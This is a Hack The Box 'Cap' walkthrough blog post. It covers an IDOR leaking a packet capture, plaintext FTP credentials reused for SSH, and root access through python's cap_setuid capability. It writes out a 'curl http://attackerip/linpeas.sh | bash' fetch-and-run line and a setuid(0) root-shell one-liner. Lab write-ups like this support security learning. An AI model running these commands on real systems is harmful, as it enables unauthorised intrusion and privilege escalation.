CAP — HTB

About

Cap is an easy difficulty Linux machine running an HTTP server that performs administrative functions including performing network captures. Improper controls result in Insecure Direct Object Reference (IDOR) giving access to another user’s capture. The capture contains plaintext credentials and can be used to gain foothold. A Linux capability is then leveraged to escalate to root.

Enumaration

We are going to start by doing an nmap scan to see the open ports.

nmap -sC -sV -T4 -Pn  -vv 10.129.12.238

There are three ports open witha a web server running on port 80.

Web Enumeration

Browsing to port 80 reveals a Security Dashboard containing:

• Dashboard
• Security Snapshot
• IP Config
• Network Status

The pages display outputs from Linux networking commands such as:

• ifconfig
• netstat

This suggests that the application executes backend system commands and presents their output through the web interface.

Identifying the IDOR

Selecting Security Snapshot generates a packet capture and redirects to a URL similar to:

/data/1

Since /data/1 had no data why not try 0.

This returns another user’s packet capture.

Get Brandistone Nyabonyi Mabeya’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

This is an Insecure Direct Object Reference (IDOR) vulnerability because access controls are not enforced on capture IDs.

Foothold

Downloading the Capture

Download the file from /data/0 and open in Wireshark.

Filter for FTP traffic which reveals authentication packets.

FTP Credentials

USER nathan
PASS Buck3tH4TF0RM3!

SSH Access

The credentials were tested against SSH.

ssh nathan@10.129.12.238

Password:

Buck3tH4TF0RM3!

Login succeeds and provides a shell as user nathanand we have our user flag.

Privilege Escalation

Linux Capabilities Enumeration

We will use LinPEAS to check for privisec vectors. Then create a python webserver in the directory where out linpeas.sh file is by running:

python -m http.server 80

Then from our shell we can get the file using curl:

curl http://attackerip/linpeas.sh | bash

Interesting finding:

/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip

Understanding the Vulnerability

CAP_SETUID allows a process to change its UID without requiring the SUID bit.

Since Python possesses this capability, it can directly switch to UID 0 (root).

Exploitation

/usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'

The machine is now fully compromised and we have our root flag.